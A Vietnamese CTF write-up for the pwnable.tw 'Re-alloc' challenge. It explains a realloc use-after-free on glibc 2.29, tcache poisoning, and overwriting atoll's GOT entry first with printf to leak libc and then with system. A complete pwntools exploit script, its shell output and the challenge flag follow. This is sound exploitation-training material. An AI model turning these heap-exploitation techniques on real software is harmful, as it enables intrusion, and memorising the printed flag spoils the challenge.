pwnable.tw

Re-alloc

Vulnerability: Chương trình không kiểm tra cẩn thận sau khi sử dụng realloc, cho phép kẻ tấn công thực hiện use-after-free.

February 8, 2026 February 7, 2026 Medium
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec re-alloc
[*] '/home/hungnt/ctfs/pwnable.tw/re-alloc/re-alloc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
$ file re-alloc
re-alloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14ee078dfdcc34a92545f829c718d7acb853945b, for GNU/Linux 3.2.0, not stripped

GLIBC Version

pwndbg> libc
libc version: 2.29
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.29.tar.gz

Code

main()

void main(void)

{
    long in_FS_OFFSET;
    int choice;
    undefined8 local_10;
    
    local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
    choice = 0;
    init_proc();
    do
    {
        while( true )
        {
            while( true )
            {
                menu();
                __isoc99_scanf(&d_format,&choice);
                if (choice != 2) break;
                reallocate();
            }
            if (2 < choice) break;
            if (choice == 1)
            {
                allocate();
            }
            else
            {
invalid:
                puts("Invalid Choice");
            }
        }
        if (choice != 3)
        {
            if (choice == 4)
            {
                    // WARNING: Subroutine does not return
                _exit(0);
            }
            goto invalid;
        }
        rfree();
    } while( true );
}

allocate()

void allocate(void)

{
    ulong index;
    ulong size;
    char *ptr;
    long n;
    
    printf("Index:");
    index = read_long();
    if ((index < 2) && (heap[index] == NULL))
    {
        printf("Size:");
        size = read_long();
        if (size < 121)
        {
                    // malloc(size)
            ptr = realloc(NULL,size);
            if (ptr == NULL)
            {
                puts("alloc error");
            }
            else
            {
                heap[index] = ptr;
                printf("Data:");
                n = read_input(heap[index],(int)size);
                heap[index][n] = '\0';
            }
        }
        else
        {
            puts("Too large!");
        }
    }
    else
    {
        puts("Invalid !");
    }
    return;
}

reallocate()

void reallocate(void)

{
    ulong index;
    ulong size;
    char *ptr;
    
    printf("Index:");
    index = read_long();
    if ((index < 2) && (heap[index] != NULL))
    {
        printf("Size:");
        size = read_long();
        if (size < 121)
        {
            ptr = realloc(heap[index],size);
            if (ptr == NULL)
            {
                puts("alloc error");
            }
            else
            {
                heap[index] = ptr;
                printf("Data:");
                read_input(heap[index],(int)size);
            }
        }
        else
        {
            puts("Too large!");
        }
    }
    else
    {
        puts("Invalid !");
    }
    return;
}

rfree()

void rfree(void)

{
    ulong index;
    
    printf("Index:");
    index = read_long();
    if (index < 2)
    {
                    // free(heap[index])
        realloc(heap[index],0);
        heap[index] = NULL;
    }
    else
    {
        puts("Invalid !");
    }
    return;
}

read_long()

longlong read_long(void)

{
    longlong lVar1;
    long in_FS_OFFSET;
    char local_28 [24];
    long local_10;
    
    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    __read_chk(0,local_28,0x10,0x11);
    lVar1 = atoll(local_28);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28))
    {
                    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return lVar1;
}

Solve

Dựa tren các đối số đc truyền vào, realloc() có nhiều hành vi khác nhau. Tại reallocate(), nếu mình nhập size = 0, realloc(ptr, 0) = free(ptr), mà sau đó con trỏ ko đc set NULL, dẫn đến UAF ở các lần sau, khi chỉ cần realloc() với đúng kích thước như cũ, mình sẽ có tham chiếu đến chunk trong tcache bin, rồi mình có thể ghi đè con trỏ fd và trường key (để double free).

Còn nữa, để clear tham chiếu tại index 0 hoặc 1, mình lợi dụng hành vi split chunk của realloc và sao đó free lại để chunk đi vào tcache bin khác, phục vụ cho việc setup heap để AAW.

Vì trong chương trình ko có nơi nào cho mình AAR trực tiếp cả, nên mình nghĩ tới việc GOT overwrite một entry nào đó để nhảy đến puts() hoặc printf(). Ban đầu, mình target hàm setvbuf() do:

void init_proc(void)

{
    setvbuf(stdin,NULL,2,0);
    setvbuf(stdout,NULL,2,0);
    setvbuf(stderr,NULL,2,0);
    signal(0xe,handler);
    alarm(0x3c);
    return;
}

Mình nghĩ rằng nếu ghi đè GOT entry của setvbuf() với puts() thì sẽ in ra mấy cái std, nhưng thực tế là puts() sẽ dereference khi in, nghĩa là lấy giá trị tại địa chỉ stdin, ý là in ra cái flag 0xfbad… gì đấy nên ko đc.

Sau một hồi vò đầu bứt tai, mình có ý tưởng là ghi đè GOT entry của atoll() đến hàm printf(), thì khi thực thi hàm read_long(), mình có thể nhập format string vào local_28 và leak dữ liệu trên stack.

__read_chk(0,local_28,0x10,0x11);
lVar1 = atoll(local_28);

Và thế là ngon luôn, giờ mình đã có libc.

Hay hơn nữa là những lần gọi read_long() sau khi nhập index hay size, printf() vẫn có thể return đc lVar1 là giá trị hợp lệ như bình thường, nên mình tiếp tục ghi đè GOT entry của atoll() đến hàm system() và nhập “/bin/sh\0” vào local_28.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("re-alloc_patched", checksec=False)
libc = ELF("libc.so", checksec=False)
ld = ELF("./ld-2.29.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *read_long+62
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10106
        return remote(host, port)

p = conn()

def alloc(index, size, data):
    slan(p, b'choice', 1)
    slan(p, b'Index', index)
    slan(p, b'Size', size)
    sa(p, b'Data', data)
    sleep(0.1)

def realloc(index, size, data):
    slan(p, b'choice', 2)
    slan(p, b'Index', index)
    slan(p, b'Size', size)
    if size:
        sa(p, b'Data', data)
    sleep(0.1)

def rfree(index):
    slan(p, b'choice', 3)
    slan(p, b'Index', index)

print("Setting up tcache entries")
SZ = 0x70
alloc(0, SZ, p64(0))
alloc(1, SZ, p64(0))

rfree(0)
realloc(1, 0, b'')

# UAF index 1 - Setup GOT entry 0x80
realloc(1, SZ, p64(exe.got['alarm']))

# Clear index 0
alloc(0, SZ, p64(0))
realloc(0, SZ - 0x20, p64(0))
rfree(0)

# Double free index 1
realloc(1, SZ - 0x20, p64(0) * 2)
realloc(1, 0, b'')

# UAF index 1 - Setup GOT entry 0x60
realloc(1, SZ - 0x20, p64(exe.got['alarm']))

# Clear index 0
alloc(0, SZ - 0x20, p64(0))
realloc(0, SZ - 0x40, p64(0))
rfree(0)

# Clear index 1
realloc(1, SZ - 0x40, p64(0) * 2)
rfree(1)

print("Leaking libc")
# alarm -> nop, atolll -> printf
nop_ret = 0x40113f
alloc(0, SZ - 0x20, p64(nop_ret) + p64(exe.plt['printf']))

# FSB to leak libc on stack
slan(p, b'choice', 3)
sla(p, b'Index', b'stdout %7$p')

ru(p, b'stdout ')
libc.address = leak_hex(rn(p, 14), libc.symbols['_IO_2_1_stdout_'])
lg("libc base", libc.address)
lg("system", libc.symbols['system'])

print("Spawn shell")
slan(p, b'choice', 1)
sla(p, b'Index', b'') # printf return 1 -> index = 1
sla(p, b'Size', b'%111c') # printf return SZ -> size = SZ
# alarm -> nop, atoll -> system
sa(p, b'Data', p64(nop_ret) + p64(libc.symbols['system']))

slan(p, b'choice', 3)
sla(p, b'Index', b'/bin/sh\0') # system(/bin/sh)

# Profit
rr(p, 1)
ia(p)
$ py solve.py 
[+] Opening connection to chall.pwnable.tw on port 10106: Done
Setting up tcache entries
Leaking libc
libc base -> 0x7f7d374bf000
system -> 0x7f7d37511fd0
Spawn shell
[*] Switching to interactive mode
$ cd home
$ ls
re-alloc
$ cd re-alloc
$ cat flag
FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}